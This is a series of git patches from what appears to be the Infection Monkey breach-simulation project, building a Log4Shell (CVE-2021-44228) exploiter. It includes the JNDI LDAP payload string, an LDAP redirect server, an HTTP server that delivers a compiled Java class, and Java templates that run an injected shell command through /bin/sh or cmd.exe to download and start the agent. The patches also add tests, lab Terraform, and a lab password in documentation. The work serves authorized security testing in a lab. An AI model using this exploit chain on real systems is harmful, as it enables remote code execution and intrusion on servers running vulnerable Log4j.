agent_http_path = self._start_agent_http_server(paths) # Build agent execution command - command = self.build_command(paths["dest_path"], agent_http_path) + command = self._build_command(paths["dest_path"], agent_http_path) # Start http server to serve malicious java class to victim - self.start_class_http_server(command) + self._start_class_http_server(command) # Start ldap server to redirect ldap query to java class server - self.start_ldap_server() + self._start_ldap_server() - def start_agent_http_server(self, agent_paths: dict) -> str: + def _start_agent_http_server(self, agent_paths: dict) -> str: # Create server for http download and wait for it's startup. http_path, http_thread = HTTPTools.create_locked_transfer( self.host, agent_paths["src_path"] ) - self.agent_http_server_thread = http_thread + self._agent_http_server_thread = http_thread if not http_path: logger.debug("Exploiter failed, couldn't start an http server to serve agent.") raise Exception("Http server creation failed") logger.info("Started http server on %s", http_path) return http_path - def start_class_http_server(self, command: str): - java_class = self.build_java_class(command) + def _start_class_http_server(self, command: str): + java_class = self._build_java_class(command) - self.exploit_class_http_server = ExploitClassHTTPServer( - self.class_http_server_ip, self.class_http_server_port, java_class + self._exploit_class_http_server = ExploitClassHTTPServer( + self._class_http_server_ip, self.class_http_server_port, java_class ) # Setting `daemon=True` to save ourselves some trouble when this is merged to the # agent-refactor branch. # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` # constructor directly after merging to the agent-refactor branch. - self.exploit_class_http_server_thread = Thread( - target=self.exploit_class_http_server.run, daemon=True + self._exploit_class_http_server_thread = Thread( + target=self._exploit_class_http_server.run, daemon=True ) - self.exploit_class_http_server_thread.start() + self._exploit_class_http_server_thread.start() - def start_ldap_server(self): - self.ldap_server = LDAPExploitServer( - ldap_server_port=self.ldap_port, - http_server_ip=self.class_http_server_ip, + def _start_ldap_server(self): + self._ldap_server = LDAPExploitServer( + ldap_server_port=self._ldap_port, + http_server_ip=self._class_http_server_ip, http_server_port=self.class_http_server_port, storage_dir=get_monkey_dir_path(), ) @@ -109,26 +109,26 @@ class Log4ShellExploiter(WebRCE): # agent-refactor branch. # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` # constructor directly after merging to the agent-refactor branch. - self.ldap_server_thread = Thread(target=self.ldap_server.run, daemon=True) - self.ldap_server_thread.start() + self._ldap_server_thread = Thread(target=self._ldap_server.run, daemon=True) + self._ldap_server_thread.start() - def stop_servers(self): + def _stop_servers(self): logger.debug("Stopping all LDAP and HTTP Servers") - self.agent_http_server_thread.stop() - self.agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._agent_http_server_thread.stop() + self._agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - self.exploit_class_http_server.stop() - self.exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._exploit_class_http_server.stop() + self._exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - self.ldap_server.stop() - self.ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._ldap_server.stop() + self._ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - def build_ldap_payload(self): + def _build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) - return f"${{jndi:ldap://{interface_ip}:{self.ldap_port}/dn=Exploit}}" + return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command - def build_command(self, path, http_path): + def _build_command(self, path, http_path): # Build command to execute monkey_cmd = build_monkey_commandline( self.host, get_monkey_depth() - 1, vulnerable_port=None @@ -145,7 +145,7 @@ class Log4ShellExploiter(WebRCE): "parameters": monkey_cmd, } - def build_java_class(self, exploit_command: str) -> bytes: + def _build_java_class(self, exploit_command: str) -> bytes: if "linux" in self.host.os["type"]: return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH) else: @@ -159,12 +159,12 @@ class Log4ShellExploiter(WebRCE): ] for exploit in get_log4shell_service_exploiters(): for port in open_ports: - exploit.trigger_exploit(self.build_ldap_payload(), self.host, port) + exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) # Wait for request sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) - if self.exploit_class_http_server.exploit_class_downloaded(): + if self._exploit_class_http_server.exploit_class_downloaded(): self.exploit_info["vulnerable_service"] = { "service_name": exploit.service_name, "port": port, From aa6031378772271a47848420c277b48daa2959ef Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 12:33:54 -0500 Subject: [PATCH 40/87] Agent: Remove commented out code in ExploitClassHTTPServer --- .../exploit/log4shell_utils/exploit_class_http_server.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index bde6f91fb..22d9e4961 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -45,10 +45,6 @@ class ExploitClassHTTPServer: logger.debug("Starting ExploitClassHTTPServer") HTTPHandler.reset() - # while not self.exploit_class_downloaded(): - # self._server.handle_request() - # logger.error("loop") - self._server.serve_forever() logger.debug("The Java Exploit class HTTP server has stopped") From 7733ec29cafee13cc818afb244c9ad884036c80a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 16:41:57 -0500 Subject: [PATCH 41/87] Agent: Add source code for log4shell Java class templates --- .../log4shell_utils/JAVA_CLASS_README.md | 31 +++++++++++++++++++ .../exploit/log4shell_utils/LinuxExploit.java | 7 +++++ .../log4shell_utils/WindowsExploit.java | 7 +++++ 3 files changed, 45 insertions(+) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java diff --git a/monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md b/monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md new file mode 100644 index 000000000..89aa19ddc --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md @@ -0,0 +1,31 @@ +# Building Java class templates for log4shell + +## Summary +The log4shell exploiter provides two files, `LinuxExploit.class.template` and +`WindowsExploit.class.templete`. These files are served to a vulnerable machine +via LDAP and HTTP to achieve remote code execution. This README file contains +instructions for rebuilding these template files should it ever become +necessary. + +## Proceedure + +1. Copy the desired Linux or Windows Java source code to a new file named + `Exploit.java`. Both Java source code files contain a class named `Exploit`. + When building Java classes, the class name and the file name must match + exactly. + + ``` + $ cp LinuxExploit.java Exploit.java + ``` + +1. Use `javac` to build the Java class file. + ``` + $ javac Exploit.java + ``` + +1. Rename the `.class` file with the appropriate OS name. + ``` + $ mv Exploit.class LinuxExploit.class.template + ``` + +1. Remove the `Exploit.java` file, as it is no longer needed. diff --git a/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java new file mode 100644 index 000000000..f60e1ebe9 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java @@ -0,0 +1,7 @@ +public class Exploit { + static { + try { + Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "###"}); + } catch(Exception e) {} + } +} diff --git a/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java new file mode 100644 index 000000000..e91cfe810 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java @@ -0,0 +1,7 @@ +public class Exploit { + static { + try { + Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "###"}); + } catch(Exception e) {} + } +} From c2f3042442a893d63196c454127223e6dd1d0f79 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 16:46:31 -0500 Subject: [PATCH 42/87] Agent: Move definition of exploit template constants for log4shell The LINUX_EXPLOIT_TEMPLATE_PATH and WINDOWS_EXPLOIT_TEMPLATE_PATH are not used in exploit_builder.py, and therefore have no reason to be defined in this file. They are now defined in the __init__.py --- monkey/infection_monkey/exploit/log4shell_utils/__init__.py | 6 ++++-- .../exploit/log4shell_utils/exploit_builder.py | 2 -- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py index 68de2d192..831ddec48 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -1,9 +1,11 @@ +from pathlib import Path from .exploit_builder import ( build_exploit_bytecode, InvalidExploitTemplateError, - LINUX_EXPLOIT_TEMPLATE_PATH, - WINDOWS_EXPLOIT_TEMPLATE_PATH, ) from .ldap_server import LDAPExploitServer from .service_exploiters import get_log4shell_service_exploiters from .exploit_class_http_server import ExploitClassHTTPServer + +LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template" +WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template" diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py index 831ddfc05..40b6d8bd4 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py @@ -3,8 +3,6 @@ from pathlib import Path # This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce -LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template" -WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template" INJECTION_TAG = "###" From a3cc64110178c6039c31b46b3505ca0acd2d1858 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 19:11:25 -0500 Subject: [PATCH 43/87] UT: Add unit tests for ExploitClassHTTPServer --- .../exploit_class_http_server.py | 12 ++-- .../test_exploit_class_http_server.py | 58 +++++++++++++++++++ 2 files changed, 66 insertions(+), 4 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 22d9e4961..4c0eca054 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -3,6 +3,8 @@ import logging logger = logging.getLogger(__name__) +HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429 + class HTTPHandler(http.server.BaseHTTPRequestHandler): @@ -19,7 +21,9 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if HTTPHandler.class_downloaded: - self.send_error(429, "Java exploit class has already been downloaded") + self.send_error( + HTTP_TOO_MANY_REQUESTS_ERROR_CODE, "Java exploit class has already been downloaded" + ) return HTTPHandler._set_class_downloaded() @@ -32,20 +36,20 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): class ExploitClassHTTPServer: - def __init__(self, ip: str, port: int, java_class: bytes): + def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5): logger.debug(f"The Java Exploit class will be served at {ip}:{port}") HTTPHandler.java_class = java_class HTTPHandler.reset() self._server = http.server.HTTPServer((ip, port), HTTPHandler) - self._server.socket.settimeout(0.5) + self._poll_interval = poll_interval def run(self): logger.debug("Starting ExploitClassHTTPServer") HTTPHandler.reset() - self._server.serve_forever() + self._server.serve_forever(self._poll_interval) logger.debug("The Java Exploit class HTTP server has stopped") def stop(self): diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py new file mode 100644 index 000000000..d111ef825 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py @@ -0,0 +1,58 @@ +import threading + +import pytest +import requests + +from infection_monkey.exploit.log4shell_utils import ExploitClassHTTPServer +from infection_monkey.network.info import get_free_tcp_port + + +@pytest.fixture +def ip(): + return "127.0.0.1" + + +@pytest.fixture +def port(): + return get_free_tcp_port() + + +@pytest.fixture +def java_class(): + return b"\xde\xad\xbe\xef" + + +@pytest.fixture +def server(ip, port, java_class): + server = ExploitClassHTTPServer(ip, port, java_class, 0.01) + server_thread = threading.Thread(target=server.run) + server_thread.start() + + yield server + + server.stop() + server_thread.join() + + +@pytest.fixture +def exploit_url(ip, port): + return f"http://{ip}:{port}/Exploit" + + +@pytest.mark.usefixtures("server") +def test_only_single_download_allowed(exploit_url, java_class): + response_1 = requests.get(exploit_url) + assert response_1.status_code == 200 + assert response_1.content == java_class + + response_2 = requests.get(exploit_url) + assert response_2.status_code == 429 + assert response_2.content != java_class + + +def test_exploit_class_downloded(server, exploit_url): + assert not server.exploit_class_downloaded() + + requests.get(exploit_url) + + assert server.exploit_class_downloaded() From 176177b8cbace8692a94374d677ab921623e835a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 19:14:51 -0500 Subject: [PATCH 44/87] Agent: Use threading.Event() in ExploitClassHTTPServer instead of bool --- .../exploit_class_http_server.py | 22 +++++++------------ 1 file changed, 8 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 4c0eca054..ba72412b4 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -1,5 +1,6 @@ import http.server import logging +import threading logger = logging.getLogger(__name__) @@ -9,24 +10,16 @@ HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429 class HTTPHandler(http.server.BaseHTTPRequestHandler): java_class: bytes - class_downloaded = False - - @classmethod - def reset(cls): - cls.class_downloaded = False - - @classmethod - def _set_class_downloaded(cls): - cls.class_downloaded = True + class_downloaded: threading.Event def do_GET(self): - if HTTPHandler.class_downloaded: + if HTTPHandler.class_downloaded.is_set(): self.send_error( HTTP_TOO_MANY_REQUESTS_ERROR_CODE, "Java exploit class has already been downloaded" ) return - HTTPHandler._set_class_downloaded() + HTTPHandler.class_downloaded.set() logger.info("Java class servergot a GET request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") @@ -38,16 +31,17 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): class ExploitClassHTTPServer: def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5): logger.debug(f"The Java Exploit class will be served at {ip}:{port}") + self._class_downloaded = threading.Event() HTTPHandler.java_class = java_class - HTTPHandler.reset() + HTTPHandler.class_downloaded = self._class_downloaded self._server = http.server.HTTPServer((ip, port), HTTPHandler) self._poll_interval = poll_interval def run(self): logger.debug("Starting ExploitClassHTTPServer") - HTTPHandler.reset() + self._class_downloaded.clear() self._server.serve_forever(self._poll_interval) logger.debug("The Java Exploit class HTTP server has stopped") @@ -57,4 +51,4 @@ class ExploitClassHTTPServer: self._server.shutdown() def exploit_class_downloaded(self) -> bool: - return HTTPHandler.class_downloaded + return self._class_downloaded.is_set() From 6fa1d20e6aa680f1e0969adf3f685f6370e7d087 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 19:27:51 -0500 Subject: [PATCH 45/87] Agent: Add _initialize_http_handler() to ExploitClassHTTPServer --- .../log4shell_utils/exploit_class_http_server.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index ba72412b4..cabfb74ff 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -31,13 +31,17 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): class ExploitClassHTTPServer: def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5): logger.debug(f"The Java Exploit class will be served at {ip}:{port}") - self._class_downloaded = threading.Event() - HTTPHandler.java_class = java_class - HTTPHandler.class_downloaded = self._class_downloaded + self._class_downloaded = threading.Event() + self._poll_interval = poll_interval + + self._initialize_http_handler(java_class) self._server = http.server.HTTPServer((ip, port), HTTPHandler) - self._poll_interval = poll_interval + + def _initialize_http_handler(self, java_class: bytes): + HTTPHandler.java_class = java_class + HTTPHandler.class_downloaded = self._class_downloaded def run(self): logger.debug("Starting ExploitClassHTTPServer") From 24e891d8a8956b00dd7e64eb9c5fa2d133f612b3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 19:44:46 -0500 Subject: [PATCH 46/87] Agent: Fix formatting of web_rce.py --- monkey/infection_monkey/exploit/web_rce.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 72d948c86..2be55ce3e 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -20,7 +20,8 @@ from infection_monkey.model import ( MONKEY_ARG, POWERSHELL_HTTP_UPLOAD, RUN_MONKEY, - WGET_HTTP_UPLOAD, VictimHost, + WGET_HTTP_UPLOAD, + VictimHost, ) from infection_monkey.network.tools import tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem From aef7beedb3e1cd124923d9e6548f35a619416e50 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 13 Jan 2022 12:37:22 +0200 Subject: [PATCH 47/87] Zoo: add logstash machines that test log4shell --- envs/monkey_zoo/docs/fullDocs.md | 60 +++++++++++++++++++++++++ envs/monkey_zoo/terraform/images.tf | 8 ++++ envs/monkey_zoo/terraform/monkey_zoo.tf | 30 +++++++++++++ 3 files changed, 98 insertions(+) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 71a373843..01328eb03 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -1314,6 +1314,66 @@ Update all requirements using deployment script:

    Nr. 251 MonkeyIsland

    +

    Nr. 251 MonkeyIsland

    (10.2.2.251)

    + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Nr. 3-55 Log4j Logstash

    +

    (10.2.3.55)

    (Vulnerable)
    OS:Ubuntu 18.04LTS
    Software:Logstash 5.5.0Java 1.8.0
    Default server’s port:9600
    Notes:User: logstash
    + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Nr. 3-56 Log4j-logstash

    +

    (10.2.3.56)

    (Vulnerable)
    OS:Windows Server 2016 x64
    Software:Logstash 5.5.0Java 1.8.0
    Default server’s port:9600
    Notes:User: m0nk3y, Password: 7;@K"kPTM
    + + diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index b5a2fbee7..d32b964a5 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -93,6 +93,14 @@ data "google_compute_image" "log4j-solr-50" { name = "log4j-solr-50" project = local.monkeyzoo_project } +data "google_compute_image" "log4j-logstash-55" { + name = "log4j-logstash-55" + project = local.monkeyzoo_project +} +data "google_compute_image" "log4j-logstash-56" { + name = "log4j-logstash-56" + project = local.monkeyzoo_project +} data "google_compute_image" "weblogic-18" { name = "weblogic-18" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index c545af20c..cefc78af5 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -448,6 +448,36 @@ resource "google_compute_instance_from_template" "log4j-tomcat-52" { } } +resource "google_compute_instance_from_template" "log4j-logstash-55" { + name = "${local.resource_prefix}log4j-logstash-55" + source_instance_template = local.default_linux + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-logstash-55.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.55" + } +} + +resource "google_compute_instance_from_template" "log4j-logstash-56" { + name = "${local.resource_prefix}log4j-logstash-56" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-logstash-56.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.56" + } +} + /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) resource "google_compute_instance_from_template" "upgrader-17" { name = "${local.resource_prefix}upgrader-17" From 6b934d6de56a6a538438fe1bced6e4f2419c8aea Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 13 Jan 2022 08:56:23 -0500 Subject: [PATCH 48/87] Agent: Wrap log4shell LDAP server in a process A Twisted reactor can only be started and stopped once. It cannot be restarted after it has been stopped. To work around this, the reactor is configured and run in a separate process. This allows us to run multiple LDAP servers sequentially or simultaneously and stop each one when we're done with it. --- .../exploit/log4shell_utils/ldap_server.py | 47 ++++++++++++++----- 1 file changed, 34 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index f0acac141..382993d68 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -1,3 +1,5 @@ +import logging +import multiprocessing import tempfile from pathlib import Path @@ -10,6 +12,8 @@ from twisted.internet.protocol import ServerFactory from twisted.python import log from twisted.python.components import registerAdapter +logger = logging.getLogger(__name__) + EXPLOIT_RDN = "dn=Exploit" @@ -63,33 +67,50 @@ class LDAPExploitServer: def __init__( self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path ): - LDAPExploitServer.output_twisted_logs_to_python_logger() + self._ldap_server_port = ldap_server_port + self._http_server_ip = http_server_ip + self._http_server_port = http_server_port + self._storage_dir = storage_dir + + # A Twisted reactor can only be started and stopped once. It cannot be restarted after it + # has been stopped. To work around this, the reactor is configured and run in a separate + # process. This allows us to run multiple LDAP servers sequentially or simultaneously and + # stop each one when we're done with it. + self._server_process = multiprocessing.Process( + target=self._run_twisted_reactor, daemon=True + ) + + def run(self): + self._server_process.start() + self._server_process.join() + + def _run_twisted_reactor(self): + self._configure_twisted_reactor() + logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}") + reactor.run() + + def _configure_twisted_reactor(self): + LDAPExploitServer._output_twisted_logs_to_python_logger() registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry) - tree = Tree(http_server_ip, http_server_port, storage_dir) + tree = Tree(self._http_server_ip, self._http_server_port, self._storage_dir) factory = LDAPServerFactory(tree.db) factory.debug = True application = service.Application("ldaptor-server") service.IServiceCollection(application) - reactor.listenTCP(ldap_server_port, factory) + reactor.listenTCP(self._ldap_server_port, factory) @staticmethod - def output_twisted_logs_to_python_logger(): + def _output_twisted_logs_to_python_logger(): # Configures Twisted to output its logs using the standard python logging module instead of # the Twisted logging module. # https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html log_observer = log.PythonLoggingObserver() log_observer.start() - def run(self): - # For an explaination of installSignalHandlers=0, see - # https://twistedmatrix.com/trac/wiki/FrequentlyAskedQuestions#Igetexceptions.ValueError:signalonlyworksinmainthreadwhenItrytorunmyTwistedprogramWhatswrong - reactor.run(installSignalHandlers=0) - def stop(self): - # Since `reactor.run()` may not be running on the main thread, reactor.stop() must be - # invoked with reactor.callFromThread() - # https://twistedmatrix.com/documents/12.2.0/core/howto/threading.html - reactor.callFromThread(reactor.stop) + # The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully + # shutdown. + self._server_process.terminate() From a9d735593cf347b9c70fbc2806716d8a6245d3a0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 13 Jan 2022 08:57:55 -0500 Subject: [PATCH 49/87] Agent: Wrap log4shell exploiters in a try/except --- monkey/infection_monkey/exploit/log4shell.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index b46570ba7..3f1a0c0fc 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -159,7 +159,13 @@ class Log4ShellExploiter(WebRCE): ] for exploit in get_log4shell_service_exploiters(): for port in open_ports: - exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) + try: + exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) + except Exception as ex: + logger.warning( + "An error occurred while attempting to exploit log4shell on a " + f"potential {exploit.service_name} service: {ex}" + ) # Wait for request sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) From a7b31dd9e41429b2386d57fd05162a8a6efb9d32 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 13 Jan 2022 16:10:36 +0200 Subject: [PATCH 50/87] BB: add log4shell BB tests --- .../config_templates/log4j_logstash.py | 17 ++++++++++++++++ .../blackbox/config_templates/log4j_solr.py | 17 ++++++++++++++++ .../blackbox/config_templates/log4j_tomcat.py | 17 ++++++++++++++++ envs/monkey_zoo/blackbox/test_blackbox.py | 20 ++++++++++++++++++- 4 files changed, 70 insertions(+), 1 deletion(-) create mode 100644 envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py create mode 100644 envs/monkey_zoo/blackbox/config_templates/log4j_solr.py create mode 100644 envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py b/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py new file mode 100644 index 000000000..54c91ccca --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py @@ -0,0 +1,17 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Log4jLogstash(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update( + { + "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], + "basic_network.scope.depth": 2, + "basic_network.scope.subnet_scan_list": ["10.2.3.55", "10.2.3.56"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py b/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py new file mode 100644 index 000000000..ad5923b16 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py @@ -0,0 +1,17 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Log4jSolr(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update( + { + "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], + "basic_network.scope.depth": 2, + "basic_network.scope.subnet_scan_list": ["10.2.3.49", "10.2.3.50"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py new file mode 100644 index 000000000..58efe5e64 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py @@ -0,0 +1,17 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Log4jTomcat(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update( + { + "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], + "basic_network.scope.depth": 2, + "basic_network.scope.subnet_scan_list": ["10.2.3.49", "10.2.3.50"], + } + ) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 3b74f8961..e6e64d3cc 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -11,6 +11,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop +from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash +from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr +from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql from envs.monkey_zoo.blackbox.config_templates.performance import Performance from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell @@ -198,7 +201,22 @@ class TestMonkeyBlackbox: TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter") def test_shellshock_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellschock_exploiter") + TestMonkeyBlackbox.run_exploitation_test(island_client, 